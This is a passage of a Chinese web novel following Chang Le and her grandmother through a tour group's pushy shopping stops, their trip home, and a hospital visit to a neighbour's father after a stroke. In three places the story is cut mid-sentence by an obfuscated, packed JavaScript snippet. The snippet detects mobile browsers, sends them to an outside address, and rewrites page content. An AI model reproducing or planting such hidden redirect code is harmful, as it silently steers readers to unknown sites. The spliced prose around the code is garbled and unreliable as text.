在绕场一圈,确认没有一处可以休息的地方后,两人直接靠墙坐在地上,各自玩起了手机。 男店员翻了个白眼,又飘走了。 “姥,千万不要信他们的鬼话。”常乐压低声音,叮嘱姥姥,“要买也别在这儿买,都是骗钱的。” 姥姥也小声道:“我知道,别忘了咱家的家训——” “一分钱别花,什么都别买。”常乐回她一个坚定的眼神,“我肯定不买。” “咱们就待在这儿,别分开了,小心他们各个击破——” “两位在这儿忙什么呢?”导游的声音突然在头顶响起,打断她们的对话。 “哦,我发烧头疼,在这儿歇会儿。”常乐抬起头,面不改色地说。 反正她也没撒谎。 姥姥附和道:“是啊,这里头太闷了,空气不流通,我一进来就喘不上气……”她捂着胸口,大口喘着粗气,摇摇头说:“唉,人老了就是毛病多,要是我死在你们团,那就麻烦了……” 常乐无语地瞟她一眼。 姥姥,没必要这么狠吧?为了吓唬导游,连谶都不避了? 不过这招还是挺有效的,导游立马变了脸色,丢下一句“那你歇着吧”,转身直奔另一波人。 她们在冰凉的地上干坐了两个小时,期间还头靠头睡了一觉,终于听到“哗啦”一声,卷帘门又开了。 常乐长舒一口气,有种重见天日的感觉。 购物的人不多,翠姨买了个乳胶枕头,孙婆婆买了一套锅具,还有几个人买了玉佩和珍珠,花费从几百到上千元不等。 “一套锅要四千多?”姥姥打量着孙婆婆买的锅具,忍不住吐槽,“真是有钱不知道怎么花。” 孙婆婆说:“他们说是德国进口的,今天做活动,打七五折呢。” 常乐盯着翠姨手上的乳胶枕,有种恨铁不成钢的无奈。 “翠姨,你家厨房重新装修好了?”她拐弯抹角地问。 “装好了,俊臻出的钱呢。”翠姨喜滋滋地说,“他整天坐在电脑前,颈椎不好,这个枕头是给他买的。” 常乐暗暗叹了口气。姜太公钓鱼,愿者上钩,她还能说什么呢。 上了车,导游的脸色很难看,阴阳怪气地说:“这么多人,才买这么点东西,你们不嫌丢人,我还嫌丢人呢!没钱就不要出来玩啊,待在家里最省钱……” 大家都沉默地望着窗外,双目呆滞。 导游继续说:“你们是对我的服务有什么不满意吗?我辛辛苦苦伺候你们几天,你们就是这么报答我的?我说实话吧,带你们这个团,我只能拿到这个数——”她举起一只手,五指张开,“才五百块,根本就不赚钱!要是没有购物的提成,我就只能喝西北风了,你们还有良心吗?” 在出发之前,常乐在网上查了很多导游PUA的话术,所以真正听到时,她不仅不觉得愤怒,甚至还有点想笑。 “不赚钱就早点转行啊。”她小声嘀咕,“靠坑蒙拐骗也发不了大财,何必呢?” 导游越说越气愤:“还有某些人,一进商场就坐在地上,跟要饭的一样,真是丢尽了我们鄂省人的脸!” 常乐抠抠耳朵,又挠挠鼻子。 她脸皮厚,无所谓,倒是姥姥—— 她偷偷瞥一眼身边。 姥姥已经摘下了助听器,仰头靠在椅背上,张着嘴,呼呼大睡起来了。 常乐的心又落回肚子里。 白担心了。姥姥的心理素质可比她强多了。 -- 第三天,常乐病得更厉害了,一下床就感觉头重脚轻,左脚踩在右脚上,差点摔个狗吃屎。 上午得收拾行李,坐大巴车去漳城。一路上,她晕晕沉沉的,导游的絮叨都成了白噪音。 到了旅馆后,常乐瘫倒在床上,哼哼唧唧,任凭姥姥怎么生拉硬拽,都不肯下床。 姥姥无奈地说:“实在不行,咱们就请个假吧?” 常乐眯眼看着她,有气无力地说:“姥,我看你病得不严重,要不你去玩吧。” 姥姥摇头,“不行,下午又要去购物点,我怕我意志力不坚定,会被他们洗脑。” “行,那咱们一起请假。”常乐说完,掏出手机,在群里找导游请假。 导游又是一顿阴阳怪气,说她们没有集体意识,不配合她的工作……末了,还要强调一句:“这是你们自愿不参加的,团费是不退的哦。” 不过这些常乐都没看到。她把手机一扔,眼一闭,几秒种后,就发出了轻微的鼾声。 一觉醒来,太阳已经西斜。常乐躺在床上玩手机,顺便点了个外卖。 视频刷累了就看会儿直播,珍姐的直播间已经有一百多号人了,但大部分都是新客,进来看了一会儿,觉得无聊又出去了。 视频中偶尔有人经过,都被打了码,看穿着打扮,有巡逻的保安,有洗地的保洁,还有遛弯的业主…… 至于那栋别墅,依旧门窗紧闭,没有一点变化。 晚上的团餐,常乐懒得下去吃。姥姥给她打包了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一套组合拳下来,上当的人寥寥无几。老头当场就甩脸子了,语带嘲讽道:“我听说鄂省人都特别抠门,今天算是长见识了。平时舍不得吃舍不得穿就罢了,现在呢,连为自己的身体健康做一点小小的投资都舍不得,你们的钱留着干嘛呢?” 常乐小声接话:“留着等你死后烧给你呗。” 周围一圈人都扑哧笑出声。 姥姥用胳膊肘捅了捅常乐,警告道:“心里想想就行了,别说出来啊,小心枪打出头鸟。” 常乐不屑一顾地撇撇嘴。 上车后,导游又发了一通火。 常乐嚼着在特产店买的鱿鱼丝,欣赏着窗外的景色,就当她在放屁。 “又乱花钱!”姥姥瞟着她怀里的一袋特产,掏出手机给她算账,“前天买药花了35,昨天点两次外卖花了40,哦,还买了几瓶矿泉水——” 常乐不耐烦地打断她:“姥,别算了,我没买什么乳胶枕、进口锅、珍珠粉,已经够省钱的了。” 中午,一行人又辗转来到旅行的最后一站——泉城。 常乐已经请好了假,吃完中饭就躺在旅馆的床上,优哉游哉地玩着手机。 姥姥一脸幽怨地看着她。 “你要是还能动弹,咱们就出去转转。总不能白来一趟吧。” “行啊。”常乐腾地坐起身,“你想去哪儿?” “听说这里的寺庙很多,咱们找一家最灵的去拜拜?” 说走就走,常乐飞快地收拾好自己,因为心情不错,还化了个淡妆,然后背着小包,挽着姥姥出门了。 两人打了辆车,直奔泉城千年名刹——开元寺。 常乐看着窗外热闹的街市,吹拂着清爽的风,感觉无比自由和畅快。 这才是旅游嘛,想去哪儿去哪儿,想玩多久玩多久。 开元寺不收门票,还能免费领香,这让姥姥倍感惊喜。两人踏进古色古香的庙宇,学着本地人的方式,燃香,依次向四个方向鞠躬,插香,然后扑通一下跪在佛祖面前。 常乐虔诚地说:“佛祖啊,看在我身患重病还坚持来烧香拜佛的份上,一定要保佑我发财啊。” 姥姥一巴掌削在她后脑勺上。 “都病成这样了,还想着发财呢?”她骂道,“应该让佛祖保佑你赶紧好起来。” 常乐揉揉后脑勺,嘟哝道:“不就是阳了嘛,慢一点要七天,快一点要一周,迟早会好的。还是发财要紧。” 姥姥“啧”了一声,命令道:“不行,重新许一个,正经点的。” 思索片刻,常乐挺直腰杆,跪得端端正正,双手合十,双目紧闭,喃喃自语道:“求佛祖保佑我全家人身体健康、平平安安。至于我……” 她睁开眼,目光炯炯地盯着佛祖,加重了语气:“一定要保佑我发大财啊。” 38. 38 两人拜完佛,走出大殿,坐在一棵百年老榕树的树根上,看游人和香客来来往往,看小孩在追逐鸽子,看夕阳的余晖掠过大殿的歇山顶,斜斜地洒落在灰白的花岗岩上。 这几天,常乐时刻提防着上当受骗,神经一直处于紧绷状态。而在这个慵懒的午后,她的心渐渐平静下来,感受到了久违的岁月静好。 出了寺庙大门,便是古老而热闹的西街。常乐和姥姥边走边逛,到了晚饭时间,就在路边挑了家朴素的小馆子,点了两碗有本地特色的面线糊,往里头加了醋肉、肥肠、小鱼丸,又单独点了不少小吃。 这顿饭,两人吃得是心满意足,齿颊生香。 连姥姥都忍不住感叹,说这是她出来这几天,吃得最好的一顿。 “要我说,旅游就应该自己出来玩,报团真是又累又无聊。”常乐一边喝着四果汤,一边说。 姥姥给她算账:“自己出来玩,往返的路费就不止500了,住宿一个人得500吧,还有门票、吃饭、交通……” “至少这钱花得明明白白的,不像报团,说是只要499,一路上各种推销各种洗脑,要不是咱俩心理素质好,加上脸皮厚,早就被掏空钱包了。” 姥姥回想这几天在购物点遭受的折磨,不禁感叹:“还好咱们意志坚定,才躲过这一劫。” “还没完全躲过去呢。”常乐呵呵冷笑,“明天还有一整天,导游估计会放大招,做好心理准备。” -- 常乐猜得没错。 第二天一早,大家收拾好行李,坐上大巴车。经过一个多小时的辗转后,大巴车停在一处偏僻的寺庙前。 一个肥头大耳的和尚镇守在庙门口,负责收门票,一人50。 常乐和姥姥下了车,在寺庙周围佯装拍照,磨磨蹭蹭地不肯进去。 导游来催,常乐振振有词道:“我昨天已经拜过了,正所谓‘一人不供二佛’,我就不进去了,免得昨天许的愿不灵。” 导游翻了个白眼,怪腔怪调道:“哟,还不知道你这么虔诚呢,病得这么重,还有力气去拜佛。” 常乐假装听不懂,一脸无辜地问:“咦,你为什么不进去呢?是不是做了太多亏心事,没脸见佛祖?” 导游脸一黑,冷冷道:“我做什么亏心事了?我赚的都是辛苦钱。你们喜欢占小便宜,报这种低价团,就活该被人宰被人骗。” “哟,把真心话都说出来了?”常乐举起手机,打开抖音录视频,“来啊,继续,对着镜头说。我有八十多万粉丝呢,保证能让你一炮而红。” 导游立马噤声,紧绷着唇,恶狠狠地瞪她一眼。 常乐和姥姥在寺庙周围转悠了一个多小时,终于等到其他人陆陆续续地出来了。 上车时,常乐听到前面的大爷在抱怨:“什么破庙,听都没听过,门票要50就算了,还要掏300块的香火钱,真是一群土匪。” “唉,来都来了,就当花钱买个心安吧。”旁边一个大妈安慰道,“听说那个高僧很厉害的,能保佑家里的孩子找个好工作……” 常乐和姥姥对视一眼。 两人不约而同地想起了昨天下午,那场短暂的出逃。 千年古迹,佛教圣地,法相庄严,包容万千,才不会像这座小庙般市侩蛮横,与旅行社这帮劫匪沆瀣一气。 十点整,他们终于踏上了返程之旅。 虽然这趟旅程处处受气,但总算要结束了,所有人都如释重负,只盼着早点到家。 连导游也不再作妖了。说完结束语后,她就安静下来,也没兴致组织文艺表演,似乎是对这个团彻底失望了。 大巴车在高速上行驶了两个多小时,又从匝道拐下来,在山路上七弯八绕,最后停在了一片竹林里。 路边有个简陋的招牌,写着“服务区”几个字。 导游指挥大家下车,冷着脸宣布,由于这个团没有达到旅行社规定的消费额度,所以今天的午餐,由他们自费。 大家面面相觑,但是没人提出质疑。毕竟在这荒郊野岭,谁也不敢当这个出头鸟, 一顿午饭而已,应该贵不到哪里去吧? 常乐心情有些忐忑。她打开手机,只有一格信号,连在地图上精准定位都难。 “姥,我昨天买了一袋零食,还有方便面。”她压低声音,对姥姥说,“咱们先进去看看,要是太贵,就吃方便面。” 姥姥用力点点头,第一次夸她花钱花得好:“还是你机智。” 服务区很简陋,只有几间小平房,中间是食堂,左右两侧分别是厕所和热水间。 一行人战战兢兢地走进食堂,靠墙摆放着十几盆炒好的菜肴,几个服务员目不转睛地盯着他们,这眼神,仿佛在看一群大肥羊。 “这怎么收费啊?”有人问服务员。 服务员冲柜台方向抬了抬下巴,“这儿有餐盘,自己拿,到柜台称重。” 又有一个人问:“多少钱一斤?” 服务员气焰嚣张:“你称了不就知道了。” 没人敢第一个吃螃蟹。 柜台旁边有一排货架,上面摆放着方便面、八宝粥、饼干之类的食物。有人走过去,拿起一桶方便面,看了眼底下的小标签,啧啧摇头,赶紧放了回去。 “算了,一顿饭而已,能有多贵?”一个大爷率先拿起餐盘和菜夹,夹了几样日常菜,量不多,放在柜台上称重。 等他付完款、端着菜盘回来时,一圈人立马围了上去,一边估量他盘里的饭菜的分量,一边打听:“哎,多少钱?” “八十。”大爷脸色阴沉,低骂一句:“妈的,进土匪窝了。” 常乐拽着姥姥,扭头就走。 她走到热水房前,从塑料袋里掏出方便面,正要拆开塑料膜,姥姥突然扯了扯她的袖子,然后,指着开水器上的一行红字—— 开水,一次五元。 一个男服务员守在开水器旁,虎视眈眈地盯着她们。 常乐顿时傻眼了。她看看姥姥,又看看手里的泡面。 “咋办?还泡吗?” 姥姥坚决地摇了摇头,“少吃一顿又不会死。再说了,你那儿不是还有小零食吗?” 她拉着常乐走了,嘴里骂骂咧咧:“没见过这么黑心的,连热水都要收费,真是想钱想疯了。” 常乐也很愤慨。 五元倒是不贵,可是这钱她花得憋屈,有种被趁火打劫的感觉。 更让人憋屈的是,连厕所都要收费,五元一次。 饥饿和口渴尚且能忍,可是人有三急,错过这个土匪窝,不知道要多久才能到下一个服务区。 有几个脸皮厚的大爷径直走进了竹林深处,剩下一群脸皮薄的,在厕所门口徘徊着。 姥姥问常乐:“能忍吗?” 常乐表示为难:“本来不想上的,可一见到厕所,就来感觉了……” “算了,那你去吧。”姥姥把她往前一推,“我请客。” 姥姥掏出钱包,抠出五个钢镚儿,扔给了门口收费的胖大妈。 常乐牙一咬心一横,推开门进去了。 她恨恨地想,这钱就当是给这帮土匪清明烧纸了。 一群人在这个鬼地方滞留了两个多小时,导游才大发慈悲地打开车门,指挥他们上车。 大巴车缓缓驶出竹林。导游站在过道上,皮笑肉不笑地说:“我们的旅程马上就要结束了,最后,我要提醒大家三件事。第一,大家都是高素质人士,所以,买了东西就不要再退货了,免得给别人添麻烦,是不是?” 没人接话,连平日里最活跃的几个大爷大妈,此刻都一脸疲惫地闭着眼。 “第二,某些人也别想着去举报我。”导游笑容一冷,语带威胁,“我们旅行社能开这么多年,肯定是有自己的人脉和后台的。谁在背后搞小动作,我们一清二楚。到时候,别怪我不客气。” 常乐翻了个白眼。 一个破旅行社,吹得牛逼轰轰的,真把自己当□□了? “第三,这几天,谁花钱多,谁花钱少,我心里门儿清。呵呵,某些人——” 导游加重语气,目光越过人群,精准地落在常乐身上。 “一分钱不花,就想占便宜,这种人我们不欢迎!麻烦以后也不要报我们的团!” 常乐勾起唇角,回她一个轻蔑的笑。 说得好像我很舍不得你似的。 全国导游千千万,你踏马的最稀烂。 导游鼻腔重重哼气,收起话筒,坐回了座位上。 常乐捶了捶后背,将衣服垫在腰后,双臂抱怀,双腿大喇喇地敞开。 管他呢,先睡觉。 一觉醒来,大巴车还在高速上行驶。 再一觉醒来,窗外的天色已经昏暗。 又一觉醒来…… 怎么还没到啊? 常乐打了个哈欠,转一转酸痛的肩膀,再扭一扭僵硬的腰身,感觉自己像一台年久失修的机器,所有零件都生了锈,活动起来嘎吱作响。 直到深夜十点多,大巴车才驶出高速。看到收费站上“青江东”三个闪亮的大字,常乐感动得都快落泪了。 终于活着回来了,不容易啊。 在外头遭了罪,才知道家有多好。 有热乎乎的饭菜,有暖烘烘的被窝,有可以躺、可以坐、可以随意打滚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15753652|171701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的沙发,有热情洋溢的小狗,还有永远不会对她恶语相向的家人。 常乐鼻子一酸,眼眶发热。趁姥姥没注意,她转过头,飞快地抹掉眼角的泪花。 大巴车一路走走停停,陆续有人下车。到教师小区门口时,已经快十一点了。 常乐和姥姥拖着行李箱,一瘸一拐地朝小区走去。 其他人也没好到哪儿去,翠姨和孙婆婆相互搀扶着,一个挺着腰,像怀了个大西瓜,一个驼着背,像背了一袋大米。 “这是造的什么孽哟。”孙婆婆一边捶着腰,一边叹气,“我都一把老骨头了,还要遭这种罪。” 翠姨没好气地说:“还不是你非要报名。” 常乐忍着双脚的肿痛,小跑着追上她们,说:“孙婆婆,翠姨,我听导游那意思,咱们在购物点买的东西,其实是可以退的。你们要不去打听一下,能退就退吧。实在想要那个什么枕头、什么锅,在网上买也是一样的。” 翠姨一愣,看了看孙婆婆,神色有些为难,“可是,我怕那个导游报复我……” “一个小流氓,你怕她作甚啊!”常乐不屑一顾道,“别信她的,想退就退。她要是敢找你麻烦,你就报警呗。” 翠姨犹豫不决,“我再看看吧。” 常乐说:“你别看了,你直接跟俊臻哥说吧。他那么聪明,肯定知道该怎么办。” 一句话说到翠姨心坎儿上了。她脸上浮起笑容,语气满是骄傲:“行,我明天就跟他说。他见多识广,又有主见……” 正说着,小区主干道的尽头忽然出现一道炫目的蓝色,闪烁不定,由远及近。 所有人都停住了脚步。 一辆救护车闪着灯,从他们身边呼啸而过。 “谁家出事了?”翠姨皱着眉头问。 “谁知道呢?”孙婆婆叹了口气,“咱们小区老人多,天又冷,老人最容易犯病。” 常乐的心猛地往下一坠。 老人? 姥爷一个人在家,该不会是他出事了吧?洗澡滑倒了?没吃晚饭饿晕了?还是突发脑梗或心梗了? 姥姥跟她想到一块儿了。她慌慌张张地掏出手机,拨通姥爷的电话。 嘟了十几下,还是没人接。 “姥,赶紧回去看看。”常乐一手抓住她的胳膊,一手提起行李箱,回头跟翠姨和孙婆婆道别:“我们先走了。” 两人一路上健步如飞,小跑着冲进单元楼,拿钥匙开门的时候,姥姥的手都在哆嗦。 终于进了门,家里一片漆黑,常乐打开灯,大步冲向卧室,直到听见姥爷那如雷的鼾声,才如释重负地吐出一口气。 姥姥紧跟在她身后,冲进卧室,对着床上睡得正酣的姥爷打了一顿王八拳。 姥爷一脸懵地睁开眼,看着怒气冲冲的姥姥,迷迷糊糊地说:“啊?你们回啦?怎么了?” “你说怎么了?”姥姥拿起他放在床头的手机,“给你打电话为什么不接?” 姥爷仍然一头雾水:“我睡觉了怎么接啊?” “睡得跟死猪一样,雷都劈不醒你。”姥姥急促地喘着气,抚着胸口,“哎唷,吓得我哟,心脏病都要犯了……” 常乐笑了,拖着行李,回到了自己的房间。 第二天一早,常乐被一只手摇醒了。 她睁开惺忪的睡眼,看到林文娟坐在床头,手背覆在自己的额头上。 触感微凉而柔软。 “好像不烧了。”林文娟又晃晃她,“吃药了吗?” 常乐含糊地说:“吃了……妈,你起那么早干嘛?” “上学啊。我们这周就开始上课了。” “……那我送你。”常乐挣扎着要起身。 “哎哎,你就别折腾了,今天让你爸送。”林文娟把她摁回床上,给她掖好被子。 她坐在床头,静静地看着常乐,一时没有说话。 常乐重新闭上眼,半睡半醒中,隐约听见她说:“昨天晚上,易诚他爸出事了,你知道吧?” “唔……”常乐依旧闭着眼,含混地应了一声,“是吗?” 林文娟见她睡意昏沉,估计没听见自己说什么,微微叹了口气,起身准备离开。 常乐蓦地睁开眼。 谁?易诚他爸?易叔叔? 她腾地坐起身,直愣愣地盯着林文娟。 “……啊?” 林文娟回头看着她,一边系围巾一边说:“昨天晚上出的事,已经送医院抢救了,还不知道情况怎么样……你今天要是有空,就去医院看看他。” 常乐呆呆地点头:“行。” 一颗心沉甸甸的,仿佛灌满了铅。 39. 39 上午,天空阴沉沉的,气温降到了个位数。 常乐戴好口罩,提着水果和牛奶,搭公交车去了人民医院,找到了神经内科的病房。 易叔叔被安置在重症病房,正对着护士站。里面对称摆放着六张病床,中间用蓝色布帘隔开。 常乐蹑手蹑脚地走进去,透过布帘的缝隙,看到第一张床上躺着个老人,喘气声粗重黏腻,一个护士正在床边帮他吸痰。 第二张床上的病人歪着脑袋,脸颊凹陷下去,直勾勾地盯着天花板,眼珠一动不动。 常乐忽然想起,高中时,她在好词好句本里抄下一句话:天花板是病人的一部看不完的书。 那时候,她尚且不知人间疾苦。此时此刻,看到这样的眼神,她才真正读懂了这句话。 一直往里走,她终于看见易诚。他坐在陪护椅上,双臂抱怀,仰头靠着椅背,闭着眼,眉心微蹙。 听到脚步声,他缓缓睁开眼,看见常乐,有一瞬间的愕然。 “你怎么来了?”他回过神来,急忙起身迎接。 “我昨天晚上刚回小区,就看见你们的救护车了。”常乐把几袋水果放在地上,从里面拎起两袋小吃递给他,“还没吃早饭吧?在医院门口买的小笼包和豆浆,赶紧吃吧。” 易诚接过早饭。小笼包是新鲜出炉的,还散发着热气,手心被熨帖得微微发烫。 他让常乐坐陪护椅,自己则坐在床尾,拿起豆浆,喝了几口。 常乐看向床上的易叔叔。 他还在昏睡中,两只手插满了管子,氧气面罩挡住了他瘦削的下半张脸,床头的仪器发出轻微而有节律的嘀响。 “怎么突然发病了?”常乐小声问易诚,“是摔倒了吗?” 易诚摇摇头,一口气喝完剩下的豆浆,低头看着手心。 “脑梗就是很容易复发,尤其是在冬天。”他低声说,“昨天他半夜起来上厕所,忽然吐了,之后就倒在地上。我赶紧打了120,送到医院做了溶栓,这才救回来一条命。” 常乐舒了一口气,“抢救回来了就好。” “医生说……” 易诚看了眼床上的父亲,又低头看着手中的小笼包,后面的话哽在了喉咙里。 沉默片刻,他重新开口:“对不起啊,我现在……有点吃不下。” “没事儿。”常乐从他手里拿走小笼包,又从袋子里掏出一个耙耙柑递给他,“先吃点水果吧。” 易诚扒开耙耙柑,给她分了一半,正要将另一半往嘴里塞时,忽然被她一把拽住袖子—— “哎呀,我忘了,你刚喝了豆浆,不能马上吃这个。” 常乐从他手里拿走耙耙柑,又在装水果的袋子里挑挑拣拣,最后掰下两根香蕉。 “先吃这个吧,补充点能量。” 易诚脸上终于露出一丝笑容,俯身查看地上的袋子,“带了这么多吃的?还有什么?” “苹果、香蕉、饼干,你饿了就吃点垫垫肚子。”常乐又从里面掏出两包零食,“这是我带回来的特产,给你尝尝。” 一包是香辣鳗鱼丝,一包是炭烤鱿鱼丝。 易诚接过零食,饶有兴致地读起了袋子上的介绍:正宗闽南风味,原味手撕好口感,层层鲜香看得见。 “对了,还没问你呢,出去玩得怎么样?” “唉,别提了。”常乐一脸苦大仇深,“总结起来就五个字——花钱买罪受。” 易诚没参加过这种团,但也略有耳闻:“跟团游就是很累。” 常乐吐槽道:“不止是累,还很憋屈,你懂吗?那个导游简直把我们当大肥羊啊,一波接一波地薅。” 易诚正要接话,病房门外忽然传来一声呼喊:“6号床的家属,出来一下。” 易诚急忙起身,正要跟常乐交代几句,常乐冲他摆摆手,“你去吧,我在这里看着,不会有事的。” 病房门口,护士递给易诚一张纸,常乐隐约听到她说:“你先往卡里充三万块吧,他这种情况,至少要在这里住一个星期……” 易诚的侧影很清瘦。他微微弓着背,低头看着手中的纸,温顺地点点头。 他走了进来,常乐急忙将视线转向病床。 “我得下去一趟。”易诚从床头柜里拿出一个黑包,回过头叮嘱常乐:“这边就麻烦你照看一下,要是输液快到底了,就摁这个键,喊护士过来。”他指向床头一个圆形按钮。 常乐站起身,仰头看着他。 他眼底有深深的倦意,下巴泛着青色的胡茬。几天不见,他又添了几分沧桑。 “行,你下去吧。”常乐弯起唇角,“我就在这儿守着,哪儿也不去。” 易诚点点头,转身正要走,又被常乐喊住:“哎,你那个……” 易诚回过头,“怎么了?” 常乐咬了咬唇,斟酌片刻,才小声说:“你钱够吗?要是不够,我这里还有。” “够了。”易诚垂下眼帘,那张薄薄的缴费通知单攥在手里,如刀刃切割着掌心。 “……谢谢你。”许久,他低声说。 常乐坐回椅子上,冲他摆摆手,“快去吧。” 时间过得很慢。常乐盯着输液袋,里面还剩大半,暂时不用操心。 可她也不想看手机。沉重的现实就横亘在面前,手机里那些娱乐八卦和家长里短,此刻显得那么肤浅而聒噪。 也许,这个世界大部分时候都是肤浅而聒噪的。可是,人总要在某些时刻,不得不面对一些更深刻、更沉重的问题。 易诚很快就回来了。他微微喘着气,把黑包放进床头柜,然后查看床头仪表上的数字。 “放心吧,没什么事。”常乐安慰道。 易诚检查无误后,又坐到床尾,垂眸看着她,真诚地道谢。 病房里的时间格外难熬。但是有人作伴,总好过一个人孤独承受。 这个上午,常乐跟易诚聊了很多,从这次跟团游的各种奇葩经历,到昨天晚上姥姥把姥爷暴打一顿的搞笑画面,易诚不时被她逗笑,虽然嘴角弯起的弧度很浅,但能看出来,他眼底的阴霾消散了不少。 易诚也跟她聊起了往事,更多的是关于他记忆中的父亲。 易叔叔年轻的时候喜欢写诗,给出版社投稿无数,有几篇还被选上了,刊印在一本现代诗合集里。那本书至今还锁在他家的书桌抽屉里。 易叔叔还喜欢骑摩托,载着小小的易诚去郊外兜风,碾过春天柔软的芦苇丛,夏天翠绿的玉米地,秋天覆满落叶的树林,冬天荒芜的田野。 直到易诚的母亲去世,他备受打击,情绪不振,又不得不独自承受养家和育儿的双重压力。渐渐地,他被琐碎乏味的生活淹没,再也没有做过关于诗和远方的梦。 常乐好奇地问:“是那辆改造成边三轮的摩托吗?” 易诚点点头,淡笑道:“你还记得?” “是啊。”常乐怀念地说。 她还记得那锃亮的金属外壳,引擎的轰鸣声,还有坐在车上时,凉风扑打在脸上,那种自由的感觉。 “后来他生病了,骑不了摩托,我就把车卖了。”易诚看向病床上的父亲,“他还发了好大的火,跟小孩子一样。” 常乐笑了,“你跟他说,等以后病好了,再给他买辆新的嘛。” 易诚沉默片刻,继续说:“他喜欢看抖音上那些骑行博主,什么骑摩托车环球旅行、骑自行车进藏,甚至还有骑三轮环游全国的。去年,他一直关注的一个骑行博主失联了,他担心了好久,天天问我那人找到了吗。” 常乐若有所思地看着病床上的易叔叔。 谁不曾梦想仗剑走天涯。可惜,年轻时没钱,中年时没时间,到老了,倒是有钱又有时间了,只可惜,没有一具能承载自由灵魂的身体。 她忽然理解了姥姥为什么喜欢报团旅游。一方面,独自旅行她已力不从心,只有集体才能带给她安全感;另一方面,她又想在有限的晚年时光里,尽可能地去看见更大更远的世界。 直到中午,常乐才离开病房。 她本想下去给易诚买份盒饭,但他已经拿起凉透了的小笼包吃了起来,说不能浪费。 常乐坐在回程的公交车上,窗外开始下起了雨。从一开始的濛濛细雨,渐渐越下越大,最后竟发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15773083|171701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 展成倾盆之势。 隔着厚厚的雨幕,她看着街头奔跑的中学生、穿着雨衣骑电瓶车的女人、扶着大伞不被风吹倒的小摊贩…… 一直压在心头那种沉甸甸的情绪,慢慢释然了。 生活的大雨不期而遇。有车接送、有人撑伞的人,固然令人羡慕。可是,在风雨中奋力前行的人,才更令人佩服。 常乐淋成落汤鸡回了家。 姥姥赶忙迎上来,一边递上毛巾一边骂道:“真是个驴脑子,出门也不看天气!赶紧去洗个澡。” 常乐脱下湿透的羽绒服,正要钻进洗手间,又被她喊住:“哎,易诚他爸怎么样?” “救回了一命,但是人还没醒。” “医生怎么说?” 常乐摇摇头,“易诚没说,我也就没多问。估计……情况不太好。” 姥爷端着茶杯从卧室出来,叹气道:“这种病一旦复发,致残率和致死率都很高,就算抢救回来,也可能……唉,万般皆是命,半点不由人啊。” “可怜啊……”姥姥唏嘘道,“大人小孩都遭罪。” 常乐没说话,转身关上洗手间的门。 傍晚时分,雨渐渐停了。姥姥早早地做好了晚饭,装进保温桶,又将保温桶装进一个帆布袋里,并嘱咐常乐:“小心点,汤别洒出来了。” “知道了。”常乐提起袋子,正要出门,姥姥又提醒道:“带伞!带伞!” 常乐在小区门口的小超市买了些日用品,一并带去了人民医院。 易诚见到她,很是诧异。 “还没吃晚饭吧?”常乐把帆布袋到床头柜上,“我姥姥给你做的。还有这些——”她打开塑料袋给易诚看,“牙刷、牙膏、毛巾什么的,你看看缺什么,我再去买。” 易诚愣愣地看着塑料袋,又看向她,嘴唇翕张着,久久说不出话。 常乐笑了笑,将袋子放在地上,搡搡他的胳膊,“傻愣着干什么,赶紧吃啊。” 易诚低着头,喉结向下轻滚,哑声说:“给你们添麻烦了。” “一点小事,别客气。”常乐坐在床尾,视线落在易叔叔的脸上,声音低了几分:“你爸还没醒吗?” “下午醒了一会儿,能认人了,现在又睡了。” 易诚从帆布袋里提起保温桶,视线往里一扫,忽然顿住,提桶的手也僵在空中。 “怎么了?”常乐急忙起身,探头望去,“汤洒了吗?” 易诚放下保温桶,从帆布袋底部拿出一个黄色的牛皮纸信封,正面写着几个字:“祝早日康复。” 常乐一下子明白过来了。 看这信封的厚度,里面的金额还不小呢。 没想到啊,这个抠门的小老太太,关键时刻还挺仗义。 常乐解释道:“应该是我姥姥放的。他们那辈人就这样,塞钱都偷偷摸摸的。” 易诚垂眸看着信封,神色有些复杂,有惊讶,有感动,但更多的是凝重。 他将信封递给常乐,说:“帮我还给你姥姥吧,就说她的心意我收到了,钱就不必了。你们一家人已经为我做了很多,不用再这么客气。” 常乐双手插兜,往后退了几步。 “又不是我给的,是姥姥给的,要还你自己去还。”顿了顿,她继续劝说,“再说了,这是给你爸的,又不是给你的,你先替他保管着呗。” 易诚拿信封的手还伸在空中,迟迟没有放下。 “常乐……” 他轻喊她的名字,语气有些无奈。 常乐绕到病床的另一侧,防止他硬要把信封塞到自己怀里。 “行了,别撕吧了,搞得我怪不好意思的。”她笑了笑,又催促道:“赶紧吃饭啊,我还得把保温桶带回去呢。” 易诚的手落下了。 他沉默地吃完了所有的饭菜,又喝完了热气腾腾的排骨藕汤。 听说,人在极度难过的时候,是吃不下任何东西的。 易诚还能吃得下饭,说明他的身心还没被击垮,一切还没有那么糟。 常乐稍感宽慰。 只要能吃能睡,人生就还有希望。 40. 40 接下来的几天,林文娟给常乐放了假,让她去处理自己的私事。 常乐先是带小狗去打了第一针疫苗,还给胜宝预约了一周后做绝育。 